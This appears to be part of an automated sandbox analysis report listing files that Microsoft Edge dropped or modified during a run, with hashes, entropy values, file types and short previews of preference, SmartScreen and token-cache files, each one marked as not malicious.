Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.021873027086672
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUjL3VY:YWLSGTt1o9LuLgfGBPAzkVj/T8lUtY
MD5:	DD75DFDE8E1BDCABB61E6CC70F53C11C
SHA1:	A1ED31D86FD0B7B07D7815B5C08EFA5B89A513D3
SHA-256:	76D07F857C752AD0ABA236763CD09B7583B3B4170DB4B40D78424C71207EE98B
SHA-512:	D22146A6D22423BEA2C78BB9026ED2695B38CAC9759C219E0A3D6C400AEE43A01ED08A098CB56D65A50DC3B8641A8E93926A17F0E54DA76057E50A85EF731C0F
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731897390391744}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c96fb195-3324-43ee-8e61-08bdb7b7b2e4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44624
Entropy (8bit):	6.095414527267117
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBwwuzhDO6vP6OcK7JtP0A4EFhhscGoup1Xl3jVzXq:z/Ps+wsI7ynEr68KKchu3VlXr4CRo1
MD5:	14DC4632D16A157666DFBD5BFD687019
SHA1:	D19BAC1E6D8D69B0AC126659C509AD3B28EA66FB
SHA-256:	F40D16057C1F667B598F3E334A6BD4C78E6381114303026928DA13EC11055C6C
SHA-512:	E00B281943183EEE859BB73508DE2F2D0B90D67F4B02B4AAF1D3E787506AEB563FF59323EEE0C115BAC62549BB5E5C470460B757416A89422BC9E55BB29B1D56
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d98553a0-b2e7-4675-a5cb-918ece9b6a30.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.09073162904286
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMJwuF9hDO6vP6O+Ftbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynE960tbz8hu3VlXr4CRo1
MD5:	58C872B83CA1A6FF5B594D7731D879E2
SHA1:	D05EEC6EE0DCDCE908A0F7B05A1C4465078C9167
SHA-256:	B716BEBF76D832AF0C4125A33A3630FF8C4BEC817399F64FC138BA8AD24AE620
SHA-512:	C47B9CB23C4C1792F3462897BB66C9235DFF11F521CABC3F998E6B611491A3D9DBC6A6BA2C1C3E204C92408706DDB3E531D42840358137B204BD03A865DB2BB5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f3d5b9c2-bbe1-470b-9bde-66ccfbcae7dd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44624
Entropy (8bit):	6.095414527267117
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBwwuzhDO6vP6OcK7JtP0A4EFhhscGoup1Xl3jVzXq:z/Ps+wsI7ynEr68KKchu3VlXr4CRo1
MD5:	14DC4632D16A157666DFBD5BFD687019
SHA1:	D19BAC1E6D8D69B0AC126659C509AD3B28EA66FB
SHA-256:	F40D16057C1F667B598F3E334A6BD4C78E6381114303026928DA13EC11055C6C
SHA-512:	E00B281943183EEE859BB73508DE2F2D0B90D67F4B02B4AAF1D3E787506AEB563FF59323EEE0C115BAC62549BB5E5C470460B757416A89422BC9E55BB29B1D56
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.824503265562644
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxfCxl9Il8u3o3r8wUAyLBzYimV6Hofd1rc:mTYRob8TxBz1mYHoo
MD5:	89E256020E9AAC3B0B116036B8D33E96
SHA1:	46C9A4D847D08C7F20A149D80F7C9FD71C7AC515
SHA-256:	A8BC8FB9F5DE709D6F1364AAC74CC1E2989632A65B05C3B1F64832C2AE766C36
SHA-512:	039BBAA250BE0AD107358641ADE3CF2C533A45448B973D13605E30268E31E945CD19656B666CA5CF039AE09ECC6F711B9FCF55CE48EF0A4D9EAF8B3A39A7DA95
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.P.w.d.X.I.A.4.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.m.0.w.D.v.p.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.999762134606833
Encrypted:	false
SSDEEP:	96:IYRoYd0MyqQUbdzJjS880dglu3bAhUh1ZM+Ybz:IasMym08X2lGbqUqh3
MD5:	2B46C9AFEFA40A4E92D9DA5EF33AA424
SHA1:	5B5FD1074DF0E2E377C3138F5BC51A500BB23891
SHA-256:	709EE80427308F745F57A3D50F982811114833CEF11504FC88B8FC417EE96776
SHA-512:	3B8AF1474EE82274D5C7B262F6C118F4B8FDA238DDB96ADB9CC6DC21474FADE5CC55845D8515A1271FA44DF374039032D83D7E4E053B977FD9298E32E953EB33
Malicious:	false
